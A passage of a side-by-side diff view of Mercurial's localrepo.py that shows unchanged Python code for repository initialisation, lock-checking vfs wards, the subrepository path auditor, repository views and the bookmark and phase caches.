1263 | # the remainig bit and drop this line | |
1264 | b'bisect.state', |
|
1264 | b'bisect.state', | |
1265 | } |
|
1265 | } | |
1266 |
|
1266 | |||
1267 | def __init__( |
|
1267 | def __init__( | |
1268 | self, |
|
1268 | self, | |
1269 | baseui, |
|
1269 | baseui, | |
1270 | ui, |
|
1270 | ui, | |
1271 | origroot, |
|
1271 | origroot, | |
1272 | wdirvfs, |
|
1272 | wdirvfs, | |
1273 | hgvfs, |
|
1273 | hgvfs, | |
1274 | requirements, |
|
1274 | requirements, | |
1275 | supportedrequirements, |
|
1275 | supportedrequirements, | |
1276 | sharedpath, |
|
1276 | sharedpath, | |
1277 | store, |
|
1277 | store, | |
1278 | cachevfs, |
|
1278 | cachevfs, | |
1279 | wcachevfs, |
|
1279 | wcachevfs, | |
1280 | features, |
|
1280 | features, | |
1281 | intents=None, |
|
1281 | intents=None, | |
1282 | ): |
|
1282 | ): | |
1283 | """Create a new local repository instance. |
|
1283 | """Create a new local repository instance. | |
1284 |
|
1284 | |||
1285 | Most callers should use ``hg.repository()``, ``localrepo.instance()``, |
|
1285 | Most callers should use ``hg.repository()``, ``localrepo.instance()``, | |
1286 | or ``localrepo.makelocalrepository()`` for obtaining a new repository |
|
1286 | or ``localrepo.makelocalrepository()`` for obtaining a new repository | |
1287 | object. |
|
1287 | object. | |
1288 |
|
1288 | |||
1289 | Arguments: |
|
1289 | Arguments: | |
1290 |
|
1290 | |||
1291 | baseui |
|
1291 | baseui | |
1292 | ``ui.ui`` instance that ``ui`` argument was based off of. |
|
1292 | ``ui.ui`` instance that ``ui`` argument was based off of. | |
1293 |
|
1293 | |||
1294 | ui |
|
1294 | ui | |
1295 | ``ui.ui`` instance for use by the repository. |
|
1295 | ``ui.ui`` instance for use by the repository. | |
1296 |
|
1296 | |||
1297 | origroot |
|
1297 | origroot | |
1298 | ``bytes`` path to working directory root of this repository. |
|
1298 | ``bytes`` path to working directory root of this repository. | |
1299 |
|
1299 | |||
1300 | wdirvfs |
|
1300 | wdirvfs | |
1301 | ``vfs.vfs`` rooted at the working directory. |
|
1301 | ``vfs.vfs`` rooted at the working directory. | |
1302 |
|
1302 | |||
1303 | hgvfs |
|
1303 | hgvfs | |
1304 | ``vfs.vfs`` rooted at .hg/ |
|
1304 | ``vfs.vfs`` rooted at .hg/ | |
1305 |
|
1305 | |||
1306 | requirements |
|
1306 | requirements | |
1307 | ``set`` of bytestrings representing repository opening requirements. |
|
1307 | ``set`` of bytestrings representing repository opening requirements. | |
1308 |
|
1308 | |||
1309 | supportedrequirements |
|
1309 | supportedrequirements | |
1310 | ``set`` of bytestrings representing repository requirements that we |
|
1310 | ``set`` of bytestrings representing repository requirements that we | |
1311 | know how to open. May be a supetset of ``requirements``. |
|
1311 | know how to open. May be a supetset of ``requirements``. | |
1312 |
|
1312 | |||
1313 | sharedpath |
|
1313 | sharedpath | |
1314 | ``bytes`` Defining path to storage base directory. Points to a |
|
1314 | ``bytes`` Defining path to storage base directory. Points to a | |
1315 | ``.hg/`` directory somewhere. |
|
1315 | ``.hg/`` directory somewhere. | |
1316 |
|
1316 | |||
1317 | store |
|
1317 | store | |
1318 | ``store.basicstore`` (or derived) instance providing access to |
|
1318 | ``store.basicstore`` (or derived) instance providing access to | |
1319 | versioned storage. |
|
1319 | versioned storage. | |
1320 |
|
1320 | |||
1321 | cachevfs |
|
1321 | cachevfs | |
1322 | ``vfs.vfs`` used for cache files. |
|
1322 | ``vfs.vfs`` used for cache files. | |
1323 |
|
1323 | |||
1324 | wcachevfs |
|
1324 | wcachevfs | |
1325 | ``vfs.vfs`` used for cache files related to the working copy. |
|
1325 | ``vfs.vfs`` used for cache files related to the working copy. | |
1326 |
|
1326 | |||
1327 | features |
|
1327 | features | |
1328 | ``set`` of bytestrings defining features/capabilities of this |
|
1328 | ``set`` of bytestrings defining features/capabilities of this | |
1329 | instance. |
|
1329 | instance. | |
1330 |
|
1330 | |||
1331 | intents |
|
1331 | intents | |
1332 | ``set`` of system strings indicating what this repo will be used |
|
1332 | ``set`` of system strings indicating what this repo will be used | |
1333 | for. |
|
1333 | for. | |
1334 | """ |
|
1334 | """ | |
1335 | self.baseui = baseui |
|
1335 | self.baseui = baseui | |
1336 | self.ui = ui |
|
1336 | self.ui = ui | |
1337 | self.origroot = origroot |
|
1337 | self.origroot = origroot | |
1338 | # vfs rooted at working directory. |
|
1338 | # vfs rooted at working directory. | |
1339 | self.wvfs = wdirvfs |
|
1339 | self.wvfs = wdirvfs | |
1340 | self.root = wdirvfs.base |
|
1340 | self.root = wdirvfs.base | |
1341 | # vfs rooted at .hg/. Used to access most non-store paths. |
|
1341 | # vfs rooted at .hg/. Used to access most non-store paths. | |
1342 | self.vfs = hgvfs |
|
1342 | self.vfs = hgvfs | |
1343 | self.path = hgvfs.base |
|
1343 | self.path = hgvfs.base | |
1344 | self.requirements = requirements |
|
1344 | self.requirements = requirements | |
1345 | self.nodeconstants = sha1nodeconstants |
|
1345 | self.nodeconstants = sha1nodeconstants | |
1346 | self.nullid = self.nodeconstants.nullid |
|
1346 | self.nullid = self.nodeconstants.nullid | |
1347 | self.supported = supportedrequirements |
|
1347 | self.supported = supportedrequirements | |
1348 | self.sharedpath = sharedpath |
|
1348 | self.sharedpath = sharedpath | |
1349 | self.store = store |
|
1349 | self.store = store | |
1350 | self.cachevfs = cachevfs |
|
1350 | self.cachevfs = cachevfs | |
1351 | self.wcachevfs = wcachevfs |
|
1351 | self.wcachevfs = wcachevfs | |
1352 | self.features = features |
|
1352 | self.features = features | |
1353 |
|
1353 | |||
1354 | self.filtername = None |
|
1354 | self.filtername = None | |
1355 |
|
1355 | |||
1356 | if self.ui.configbool(b'devel', b'all-warnings') or self.ui.configbool( |
|
1356 | if self.ui.configbool(b'devel', b'all-warnings') or self.ui.configbool( | |
1357 | b'devel', b'check-locks' |
|
1357 | b'devel', b'check-locks' | |
1358 | ): |
|
1358 | ): | |
1359 | self.vfs.audit = self._getvfsward(self.vfs.audit) |
|
1359 | self.vfs.audit = self._getvfsward(self.vfs.audit) | |
1360 | # A list of callback to shape the phase if no data were found. |
|
1360 | # A list of callback to shape the phase if no data were found. | |
1361 | # Callback are in the form: func(repo, roots) --> processed root. |
|
1361 | # Callback are in the form: func(repo, roots) --> processed root. | |
1362 | # This list it to be filled by extension during repo setup |
|
1362 | # This list it to be filled by extension during repo setup | |
1363 | self._phasedefaults = [] |
|
1363 | self._phasedefaults = [] | |
1364 |
|
1364 | |||
1365 | color.setup(self.ui) |
|
1365 | color.setup(self.ui) | |
1366 |
|
1366 | |||
1367 | self.spath = self.store.path |
|
1367 | self.spath = self.store.path | |
1368 | self.svfs = self.store.vfs |
|
1368 | self.svfs = self.store.vfs | |
1369 | self.sjoin = self.store.join |
|
1369 | self.sjoin = self.store.join | |
1370 | if self.ui.configbool(b'devel', b'all-warnings') or self.ui.configbool( |
|
1370 | if self.ui.configbool(b'devel', b'all-warnings') or self.ui.configbool( | |
1371 | b'devel', b'check-locks' |
|
1371 | b'devel', b'check-locks' | |
1372 | ): |
|
1372 | ): | |
1373 | if util.safehasattr(self.svfs, b'vfs'): # this is filtervfs |
|
1373 | if util.safehasattr(self.svfs, b'vfs'): # this is filtervfs | |
1374 | self.svfs.vfs.audit = self._getsvfsward(self.svfs.vfs.audit) |
|
1374 | self.svfs.vfs.audit = self._getsvfsward(self.svfs.vfs.audit) | |
1375 | else: # standard vfs |
|
1375 | else: # standard vfs | |
1376 | self.svfs.audit = self._getsvfsward(self.svfs.audit) |
|
1376 | self.svfs.audit = self._getsvfsward(self.svfs.audit) | |
1377 |
|
1377 | |||
1378 | self._dirstatevalidatewarned = False |
|
1378 | self._dirstatevalidatewarned = False | |
1379 |
|
1379 | |||
1380 | self._branchcaches = branchmap.BranchMapCache() |
|
1380 | self._branchcaches = branchmap.BranchMapCache() | |
1381 | self._revbranchcache = None |
|
1381 | self._revbranchcache = None | |
1382 | self._filterpats = {} |
|
1382 | self._filterpats = {} | |
1383 | self._datafilters = {} |
|
1383 | self._datafilters = {} | |
1384 | self._transref = self._lockref = self._wlockref = None |
|
1384 | self._transref = self._lockref = self._wlockref = None | |
1385 |
|
1385 | |||
1386 | # A cache for various files under .hg/ that tracks file changes, |
|
1386 | # A cache for various files under .hg/ that tracks file changes, | |
1387 | # (used by the filecache decorator) |
|
1387 | # (used by the filecache decorator) | |
1388 | # |
|
1388 | # | |
1389 | # Maps a property name to its util.filecacheentry |
|
1389 | # Maps a property name to its util.filecacheentry | |
1390 | self._filecache = {} |
|
1390 | self._filecache = {} | |
1391 |
|
1391 | |||
1392 | # hold sets of revision to be filtered |
|
1392 | # hold sets of revision to be filtered | |
1393 | # should be cleared when something might have changed the filter value: |
|
1393 | # should be cleared when something might have changed the filter value: | |
1394 | # - new changesets, |
|
1394 | # - new changesets, | |
1395 | # - phase change, |
|
1395 | # - phase change, | |
1396 | # - new obsolescence marker, |
|
1396 | # - new obsolescence marker, | |
1397 | # - working directory parent change, |
|
1397 | # - working directory parent change, | |
1398 | # - bookmark changes |
|
1398 | # - bookmark changes | |
1399 | self.filteredrevcache = {} |
|
1399 | self.filteredrevcache = {} | |
1400 |
|
1400 | |||
1401 | # post-dirstate-status hooks |
|
1401 | # post-dirstate-status hooks | |
1402 | self._postdsstatus = [] |
|
1402 | self._postdsstatus = [] | |
1403 |
|
1403 | |||
1404 | # generic mapping between names and nodes |
|
1404 | # generic mapping between names and nodes | |
1405 | self.names = namespaces.namespaces() |
|
1405 | self.names = namespaces.namespaces() | |
1406 |
|
1406 | |||
1407 | # Key to signature value. |
|
1407 | # Key to signature value. | |
1408 | self._sparsesignaturecache = {} |
|
1408 | self._sparsesignaturecache = {} | |
1409 | # Signature to cached matcher instance. |
|
1409 | # Signature to cached matcher instance. | |
1410 | self._sparsematchercache = {} |
|
1410 | self._sparsematchercache = {} | |
1411 |
|
1411 | |||
1412 | self._extrafilterid = repoview.extrafilter(ui) |
|
1412 | self._extrafilterid = repoview.extrafilter(ui) | |
1413 |
|
1413 | |||
1414 | self.filecopiesmode = None |
|
1414 | self.filecopiesmode = None | |
1415 | if requirementsmod.COPIESSDC_REQUIREMENT in self.requirements: |
|
1415 | if requirementsmod.COPIESSDC_REQUIREMENT in self.requirements: | |
1416 | self.filecopiesmode = b'changeset-sidedata' |
|
1416 | self.filecopiesmode = b'changeset-sidedata' | |
1417 |
|
1417 | |||
1418 | self._wanted_sidedata = set() |
|
1418 | self._wanted_sidedata = set() | |
1419 | self._sidedata_computers = {} |
|
1419 | self._sidedata_computers = {} | |
1420 | sidedatamod.set_sidedata_spec_for_repo(self) |
|
1420 | sidedatamod.set_sidedata_spec_for_repo(self) | |
1421 |
|
1421 | |||
1422 | def _getvfsward(self, origfunc): |
|
1422 | def _getvfsward(self, origfunc): | |
1423 | """build a ward for self.vfs""" |
|
1423 | """build a ward for self.vfs""" | |
1424 | rref = weakref.ref(self) |
|
1424 | rref = weakref.ref(self) | |
1425 |
|
1425 | |||
1426 | def checkvfs(path, mode=None): |
|
1426 | def checkvfs(path, mode=None): | |
1427 | ret = origfunc(path, mode=mode) |
|
1427 | ret = origfunc(path, mode=mode) | |
1428 | repo = rref() |
|
1428 | repo = rref() | |
1429 | if ( |
|
1429 | if ( | |
1430 | repo is None |
|
1430 | repo is None | |
1431 | or not util.safehasattr(repo, b'_wlockref') |
|
1431 | or not util.safehasattr(repo, b'_wlockref') | |
1432 | or not util.safehasattr(repo, b'_lockref') |
|
1432 | or not util.safehasattr(repo, b'_lockref') | |
1433 | ): |
|
1433 | ): | |
1434 | return |
|
1434 | return | |
1435 | if mode in (None, b'r', b'rb'): |
|
1435 | if mode in (None, b'r', b'rb'): | |
1436 | return |
|
1436 | return | |
1437 | if path.startswith(repo.path): |
|
1437 | if path.startswith(repo.path): | |
1438 | # truncate name relative to the repository (.hg) |
|
1438 | # truncate name relative to the repository (.hg) | |
1439 | path = path[len(repo.path) + 1 :] |
|
1439 | path = path[len(repo.path) + 1 :] | |
1440 | if path.startswith(b'cache/'): |
|
1440 | if path.startswith(b'cache/'): | |
1441 | msg = b'accessing cache with vfs instead of cachevfs: "%s"' |
|
1441 | msg = b'accessing cache with vfs instead of cachevfs: "%s"' | |
1442 | repo.ui.develwarn(msg % path, stacklevel=3, config=b"cache-vfs") |
|
1442 | repo.ui.develwarn(msg % path, stacklevel=3, config=b"cache-vfs") | |
1443 | # path prefixes covered by 'lock' |
|
1443 | # path prefixes covered by 'lock' | |
1444 | vfs_path_prefixes = ( |
|
1444 | vfs_path_prefixes = ( | |
1445 | b'journal.', |
|
1445 | b'journal.', | |
1446 | b'undo.', |
|
1446 | b'undo.', | |
1447 | b'strip-backup/', |
|
1447 | b'strip-backup/', | |
1448 | b'cache/', |
|
1448 | b'cache/', | |
1449 | ) |
|
1449 | ) | |
1450 | if any(path.startswith(prefix) for prefix in vfs_path_prefixes): |
|
1450 | if any(path.startswith(prefix) for prefix in vfs_path_prefixes): | |
1451 | if repo._currentlock(repo._lockref) is None: |
|
1451 | if repo._currentlock(repo._lockref) is None: | |
1452 | repo.ui.develwarn( |
|
1452 | repo.ui.develwarn( | |
1453 | b'write with no lock: "%s"' % path, |
|
1453 | b'write with no lock: "%s"' % path, | |
1454 | stacklevel=3, |
|
1454 | stacklevel=3, | |
1455 | config=b'check-locks', |
|
1455 | config=b'check-locks', | |
1456 | ) |
|
1456 | ) | |
1457 | elif repo._currentlock(repo._wlockref) is None: |
|
1457 | elif repo._currentlock(repo._wlockref) is None: | |
1458 | # rest of vfs files are covered by 'wlock' |
|
1458 | # rest of vfs files are covered by 'wlock' | |
1459 | # |
|
1459 | # | |
1460 | # exclude special files |
|
1460 | # exclude special files | |
1461 | for prefix in self._wlockfreeprefix: |
|
1461 | for prefix in self._wlockfreeprefix: | |
1462 | if path.startswith(prefix): |
|
1462 | if path.startswith(prefix): | |
1463 | return |
|
1463 | return | |
1464 | repo.ui.develwarn( |
|
1464 | repo.ui.develwarn( | |
1465 | b'write with no wlock: "%s"' % path, |
|
1465 | b'write with no wlock: "%s"' % path, | |
1466 | stacklevel=3, |
|
1466 | stacklevel=3, | |
1467 | config=b'check-locks', |
|
1467 | config=b'check-locks', | |
1468 | ) |
|
1468 | ) | |
1469 | return ret |
|
1469 | return ret | |
1470 |
|
1470 | |||
1471 | return checkvfs |
|
1471 | return checkvfs | |
1472 |
|
1472 | |||
1473 | def _getsvfsward(self, origfunc): |
|
1473 | def _getsvfsward(self, origfunc): | |
1474 | """build a ward for self.svfs""" |
|
1474 | """build a ward for self.svfs""" | |
1475 | rref = weakref.ref(self) |
|
1475 | rref = weakref.ref(self) | |
1476 |
|
1476 | |||
1477 | def checksvfs(path, mode=None): |
|
1477 | def checksvfs(path, mode=None): | |
1478 | ret = origfunc(path, mode=mode) |
|
1478 | ret = origfunc(path, mode=mode) | |
1479 | repo = rref() |
|
1479 | repo = rref() | |
1480 | if repo is None or not util.safehasattr(repo, b'_lockref'): |
|
1480 | if repo is None or not util.safehasattr(repo, b'_lockref'): | |
1481 | return |
|
1481 | return | |
1482 | if mode in (None, b'r', b'rb'): |
|
1482 | if mode in (None, b'r', b'rb'): | |
1483 | return |
|
1483 | return | |
1484 | if path.startswith(repo.sharedpath): |
|
1484 | if path.startswith(repo.sharedpath): | |
1485 | # truncate name relative to the repository (.hg) |
|
1485 | # truncate name relative to the repository (.hg) | |
1486 | path = path[len(repo.sharedpath) + 1 :] |
|
1486 | path = path[len(repo.sharedpath) + 1 :] | |
1487 | if repo._currentlock(repo._lockref) is None: |
|
1487 | if repo._currentlock(repo._lockref) is None: | |
1488 | repo.ui.develwarn( |
|
1488 | repo.ui.develwarn( | |
1489 | b'write with no lock: "%s"' % path, stacklevel=4 |
|
1489 | b'write with no lock: "%s"' % path, stacklevel=4 | |
1490 | ) |
|
1490 | ) | |
1491 | return ret |
|
1491 | return ret | |
1492 |
|
1492 | |||
1493 | return checksvfs |
|
1493 | return checksvfs | |
1494 |
|
1494 | |||
1495 | def close(self): |
|
1495 | def close(self): | |
1496 | self._writecaches() |
|
1496 | self._writecaches() | |
1497 |
|
1497 | |||
1498 | def _writecaches(self): |
|
1498 | def _writecaches(self): | |
1499 | if self._revbranchcache: |
|
1499 | if self._revbranchcache: | |
1500 | self._revbranchcache.write() |
|
1500 | self._revbranchcache.write() | |
1501 |
|
1501 | |||
1502 | def _restrictcapabilities(self, caps): |
|
1502 | def _restrictcapabilities(self, caps): | |
1503 | if self.ui.configbool(b'experimental', b'bundle2-advertise'): |
|
1503 | if self.ui.configbool(b'experimental', b'bundle2-advertise'): | |
1504 | caps = set(caps) |
|
1504 | caps = set(caps) | |
1505 | capsblob = bundle2.encodecaps( |
|
1505 | capsblob = bundle2.encodecaps( | |
1506 | bundle2.getrepocaps(self, role=b'client') |
|
1506 | bundle2.getrepocaps(self, role=b'client') | |
1507 | ) |
|
1507 | ) | |
1508 | caps.add(b'bundle2=' + urlreq.quote(capsblob)) |
|
1508 | caps.add(b'bundle2=' + urlreq.quote(capsblob)) | |
1509 | if self.ui.configbool(b'experimental', b'narrow'): |
|
1509 | if self.ui.configbool(b'experimental', b'narrow'): | |
1510 | caps.add(wireprototypes.NARROWCAP) |
|
1510 | caps.add(wireprototypes.NARROWCAP) | |
1511 | return caps |
|
1511 | return caps | |
1512 |
|
1512 | |||
1513 | # Don't cache auditor/nofsauditor, or you'll end up with reference cycle: |
|
1513 | # Don't cache auditor/nofsauditor, or you'll end up with reference cycle: | |
1514 | # self -> auditor -> self._checknested -> self |
|
1514 | # self -> auditor -> self._checknested -> self | |
1515 |
|
1515 | |||
1516 | @property |
|
1516 | @property | |
1517 | def auditor(self): |
|
1517 | def auditor(self): | |
1518 | # This is only used by context.workingctx.match in order to |
|
1518 | # This is only used by context.workingctx.match in order to | |
1519 | # detect files in subrepos. |
|
1519 | # detect files in subrepos. | |
1520 | return pathutil.pathauditor(self.root, callback=self._checknested) |
|
1520 | return pathutil.pathauditor(self.root, callback=self._checknested) | |
1521 |
|
1521 | |||
1522 | @property |
|
1522 | @property | |
1523 | def nofsauditor(self): |
|
1523 | def nofsauditor(self): | |
1524 | # This is only used by context.basectx.match in order to detect |
|
1524 | # This is only used by context.basectx.match in order to detect | |
1525 | # files in subrepos. |
|
1525 | # files in subrepos. | |
1526 | return pathutil.pathauditor( |
|
1526 | return pathutil.pathauditor( | |
1527 | self.root, callback=self._checknested, realfs=False, cached=True |
|
1527 | self.root, callback=self._checknested, realfs=False, cached=True | |
1528 | ) |
|
1528 | ) | |
1529 |
|
1529 | |||
1530 | def _checknested(self, path): |
|
1530 | def _checknested(self, path): | |
1531 | """Determine if path is a legal nested repository.""" |
|
1531 | """Determine if path is a legal nested repository.""" | |
1532 | if not path.startswith(self.root): |
|
1532 | if not path.startswith(self.root): | |
1533 | return False |
|
1533 | return False | |
1534 | subpath = path[len(self.root) + 1 :] |
|
1534 | subpath = path[len(self.root) + 1 :] | |
1535 | normsubpath = util.pconvert(subpath) |
|
1535 | normsubpath = util.pconvert(subpath) | |
1536 |
|
1536 | |||
1537 | # XXX: Checking against the current working copy is wrong in |
|
1537 | # XXX: Checking against the current working copy is wrong in | |
1538 | # the sense that it can reject things like |
|
1538 | # the sense that it can reject things like | |
1539 | # |
|
1539 | # | |
1540 | # $ hg cat -r 10 sub/x.txt |
|
1540 | # $ hg cat -r 10 sub/x.txt | |
1541 | # |
|
1541 | # | |
1542 | # if sub/ is no longer a subrepository in the working copy |
|
1542 | # if sub/ is no longer a subrepository in the working copy | |
1543 | # parent revision. |
|
1543 | # parent revision. | |
1544 | # |
|
1544 | # | |
1545 | # However, it can of course also allow things that would have |
|
1545 | # However, it can of course also allow things that would have | |
1546 | # been rejected before, such as the above cat command if sub/ |
|
1546 | # been rejected before, such as the above cat command if sub/ | |
1547 | # is a subrepository now, but was a normal directory before. |
|
1547 | # is a subrepository now, but was a normal directory before. | |
1548 | # The old path auditor would have rejected by mistake since it |
|
1548 | # The old path auditor would have rejected by mistake since it | |
1549 | # panics when it sees sub/.hg/. |
|
1549 | # panics when it sees sub/.hg/. | |
1550 | # |
|
1550 | # | |
1551 | # All in all, checking against the working copy seems sensible |
|
1551 | # All in all, checking against the working copy seems sensible | |
1552 | # since we want to prevent access to nested repositories on |
|
1552 | # since we want to prevent access to nested repositories on | |
1553 | # the filesystem *now*. |
|
1553 | # the filesystem *now*. | |
1554 | ctx = self[None] |
|
1554 | ctx = self[None] | |
1555 | parts = util.splitpath(subpath) |
|
1555 | parts = util.splitpath(subpath) | |
1556 | while parts: |
|
1556 | while parts: | |
1557 | prefix = b'/'.join(parts) |
|
1557 | prefix = b'/'.join(parts) | |
1558 | if prefix in ctx.substate: |
|
1558 | if prefix in ctx.substate: | |
1559 | if prefix == normsubpath: |
|
1559 | if prefix == normsubpath: | |
1560 | return True |
|
1560 | return True | |
1561 | else: |
|
1561 | else: | |
1562 | sub = ctx.sub(prefix) |
|
1562 | sub = ctx.sub(prefix) | |
1563 | return sub.checknested(subpath[len(prefix) + 1 :]) |
|
1563 | return sub.checknested(subpath[len(prefix) + 1 :]) | |
1564 | else: |
|
1564 | else: | |
1565 | parts.pop() |
|
1565 | parts.pop() | |
1566 | return False |
|
1566 | return False | |
1567 |
|
1567 | |||
1568 | def peer(self): |
|
1568 | def peer(self): | |
1569 | return localpeer(self) # not cached to avoid reference cycle |
|
1569 | return localpeer(self) # not cached to avoid reference cycle | |
1570 |
|
1570 | |||
1571 | def unfiltered(self): |
|
1571 | def unfiltered(self): | |
1572 | """Return unfiltered version of the repository |
|
1572 | """Return unfiltered version of the repository | |
1573 |
|
1573 | |||
1574 | Intended to be overwritten by filtered repo.""" |
|
1574 | Intended to be overwritten by filtered repo.""" | |
1575 | return self |
|
1575 | return self | |
1576 |
|
1576 | |||
1577 | def filtered(self, name, visibilityexceptions=None): |
|
1577 | def filtered(self, name, visibilityexceptions=None): | |
1578 | """Return a filtered version of a repository |
|
1578 | """Return a filtered version of a repository | |
1579 |
|
1579 | |||
1580 | The `name` parameter is the identifier of the requested view. This |
|
1580 | The `name` parameter is the identifier of the requested view. This | |
1581 | will return a repoview object set "exactly" to the specified view. |
|
1581 | will return a repoview object set "exactly" to the specified view. | |
1582 |
|
1582 | |||
1583 | This function does not apply recursive filtering to a repository. For |
|
1583 | This function does not apply recursive filtering to a repository. For | |
1584 | example calling `repo.filtered("served")` will return a repoview using |
|
1584 | example calling `repo.filtered("served")` will return a repoview using | |
1585 | the "served" view, regardless of the initial view used by `repo`. |
|
1585 | the "served" view, regardless of the initial view used by `repo`. | |
1586 |
|
1586 | |||
1587 | In other word, there is always only one level of `repoview` "filtering". |
|
1587 | In other word, there is always only one level of `repoview` "filtering". | |
1588 | """ |
|
1588 | """ | |
1589 | if self._extrafilterid is not None and b'%' not in name: |
|
1589 | if self._extrafilterid is not None and b'%' not in name: | |
1590 | name = name + b'%' + self._extrafilterid |
|
1590 | name = name + b'%' + self._extrafilterid | |
1591 |
|
1591 | |||
1592 | cls = repoview.newtype(self.unfiltered().__class__) |
|
1592 | cls = repoview.newtype(self.unfiltered().__class__) | |
1593 | return cls(self, name, visibilityexceptions) |
|
1593 | return cls(self, name, visibilityexceptions) | |
1594 |
|
1594 | |||
1595 | @mixedrepostorecache( |
|
1595 | @mixedrepostorecache( | |
1596 | (b'bookmarks', b'plain'), |
|
1596 | (b'bookmarks', b'plain'), | |
1597 | (b'bookmarks.current', b'plain'), |
|
1597 | (b'bookmarks.current', b'plain'), | |
1598 | (b'bookmarks', b''), |
|
1598 | (b'bookmarks', b''), | |
1599 | (b'00changelog.i', b''), |
|
1599 | (b'00changelog.i', b''), | |
1600 | ) |
|
1600 | ) | |
1601 | def _bookmarks(self): |
|
1601 | def _bookmarks(self): | |
1602 | # Since the multiple files involved in the transaction cannot be |
|
1602 | # Since the multiple files involved in the transaction cannot be | |
1603 | # written atomically (with current repository format), there is a race |
|
1603 | # written atomically (with current repository format), there is a race | |
1604 | # condition here. |
|
1604 | # condition here. | |
1605 | # |
|
1605 | # | |
1606 | # 1) changelog content A is read |
|
1606 | # 1) changelog content A is read | |
1607 | # 2) outside transaction update changelog to content B |
|
1607 | # 2) outside transaction update changelog to content B | |
1608 | # 3) outside transaction update bookmark file referring to content B |
|
1608 | # 3) outside transaction update bookmark file referring to content B | |
1609 | # 4) bookmarks file content is read and filtered against changelog-A |
|
1609 | # 4) bookmarks file content is read and filtered against changelog-A | |
1610 | # |
|
1610 | # | |
1611 | # When this happens, bookmarks against nodes missing from A are dropped. |
|
1611 | # When this happens, bookmarks against nodes missing from A are dropped. | |
1612 | # |
|
1612 | # | |
1613 | # Having this happening during read is not great, but it become worse |
|
1613 | # Having this happening during read is not great, but it become worse | |
1614 | # when this happen during write because the bookmarks to the "unknown" |
|
1614 | # when this happen during write because the bookmarks to the "unknown" | |
1615 | # nodes will be dropped for good. However, writes happen within locks. |
|
1615 | # nodes will be dropped for good. However, writes happen within locks. | |
1616 | # This locking makes it possible to have a race free consistent read. |
|
1616 | # This locking makes it possible to have a race free consistent read. | |
1617 | # For this purpose data read from disc before locking are |
|
1617 | # For this purpose data read from disc before locking are | |
1618 | # "invalidated" right after the locks are taken. This invalidations are |
|
1618 | # "invalidated" right after the locks are taken. This invalidations are | |
1619 | # "light", the `filecache` mechanism keep the data in memory and will |
|
1619 | # "light", the `filecache` mechanism keep the data in memory and will | |
1620 | # reuse them if the underlying files did not changed. Not parsing the |
|
1620 | # reuse them if the underlying files did not changed. Not parsing the | |
1621 | # same data multiple times helps performances. |
|
1621 | # same data multiple times helps performances. | |
1622 | # |
|
1622 | # | |
1623 | # Unfortunately in the case describe above, the files tracked by the |
|
1623 | # Unfortunately in the case describe above, the files tracked by the | |
1624 | # bookmarks file cache might not have changed, but the in-memory |
|
1624 | # bookmarks file cache might not have changed, but the in-memory | |
1625 | # content is still "wrong" because we used an older changelog content |
|
1625 | # content is still "wrong" because we used an older changelog content | |
1626 | # to process the on-disk data. So after locking, the changelog would be |
|
1626 | # to process the on-disk data. So after locking, the changelog would be | |
1627 | # refreshed but `_bookmarks` would be preserved. |
|
1627 | # refreshed but `_bookmarks` would be preserved. | |
1628 | # Adding `00changelog.i` to the list of tracked file is not |
|
1628 | # Adding `00changelog.i` to the list of tracked file is not | |
1629 | # enough, because at the time we build the content for `_bookmarks` in |
|
1629 | # enough, because at the time we build the content for `_bookmarks` in | |
1630 | # (4), the changelog file has already diverged from the content used |
|
1630 | # (4), the changelog file has already diverged from the content used | |
1631 | # for loading `changelog` in (1) |
|
1631 | # for loading `changelog` in (1) | |
1632 | # |
|
1632 | # | |
1633 | # To prevent the issue, we force the changelog to be explicitly |
|
1633 | # To prevent the issue, we force the changelog to be explicitly | |
1634 | # reloaded while computing `_bookmarks`. The data race can still happen |
|
1634 | # reloaded while computing `_bookmarks`. The data race can still happen | |
1635 | # without the lock (with a narrower window), but it would no longer go |
|
1635 | # without the lock (with a narrower window), but it would no longer go | |
1636 | # undetected during the lock time refresh. |
|
1636 | # undetected during the lock time refresh. | |
1637 | # |
|
1637 | # | |
1638 | # The new schedule is as follow |
|
1638 | # The new schedule is as follow | |
1639 | # |
|
1639 | # | |
1640 | # 1) filecache logic detect that `_bookmarks` needs to be computed |
|
1640 | # 1) filecache logic detect that `_bookmarks` needs to be computed | |
1641 | # 2) cachestat for `bookmarks` and `changelog` are captured (for book) |
|
1641 | # 2) cachestat for `bookmarks` and `changelog` are captured (for book) | |
1642 | # 3) We force `changelog` filecache to be tested |
|
1642 | # 3) We force `changelog` filecache to be tested | |
1643 | # 4) cachestat for `changelog` are captured (for changelog) |
|
1643 | # 4) cachestat for `changelog` are captured (for changelog) | |
1644 | # 5) `_bookmarks` is computed and cached |
|
1644 | # 5) `_bookmarks` is computed and cached | |
1645 | # |
|
1645 | # | |
1646 | # The step in (3) ensure we have a changelog at least as recent as the |
|
1646 | # The step in (3) ensure we have a changelog at least as recent as the | |
1647 | # cache stat computed in (1). As a result at locking time: |
|
1647 | # cache stat computed in (1). As a result at locking time: | |
1648 | # * if the changelog did not changed since (1) -> we can reuse the data |
|
1648 | # * if the changelog did not changed since (1) -> we can reuse the data | |
1649 | # * otherwise -> the bookmarks get refreshed. |
|
1649 | # * otherwise -> the bookmarks get refreshed. | |
1650 | self._refreshchangelog() |
|
1650 | self._refreshchangelog() | |
1651 | return bookmarks.bmstore(self) |
|
1651 | return bookmarks.bmstore(self) | |
1652 |
|
1652 | |||
1653 | def _refreshchangelog(self): |
|
1653 | def _refreshchangelog(self): | |
1654 | """make sure the in memory changelog match the on-disk one""" |
|
1654 | """make sure the in memory changelog match the on-disk one""" | |
1655 | if 'changelog' in vars(self) and self.currenttransaction() is None: |
|
1655 | if 'changelog' in vars(self) and self.currenttransaction() is None: | |
1656 | del self.changelog |
|
1656 | del self.changelog | |
1657 |
|
1657 | |||
1658 | @property |
|
1658 | @property | |
1659 | def _activebookmark(self): |
|
1659 | def _activebookmark(self): | |
1660 | return self._bookmarks.active |
|
1660 | return self._bookmarks.active | |
1661 |
|
1661 | |||
1662 | # _phasesets depend on changelog. what we need is to call |
|
1662 | # _phasesets depend on changelog. what we need is to call | |
1663 | # _phasecache.invalidate() if '00changelog.i' was changed, but it |
|
1663 | # _phasecache.invalidate() if '00changelog.i' was changed, but it | |
1664 | # can't be easily expressed in filecache mechanism. |
|
1664 | # can't be easily expressed in filecache mechanism. | |
1665 | @storecache(b'phaseroots', b'00changelog.i') |
|
1665 | @storecache(b'phaseroots', b'00changelog.i') | |
1666 | def _phasecache(self): |
|
1666 | def _phasecache(self): | |
1667 | return phases.phasecache(self, self._phasedefaults) |
|
1667 | return phases.phasecache(self, self._phasedefaults) | |
1668 |
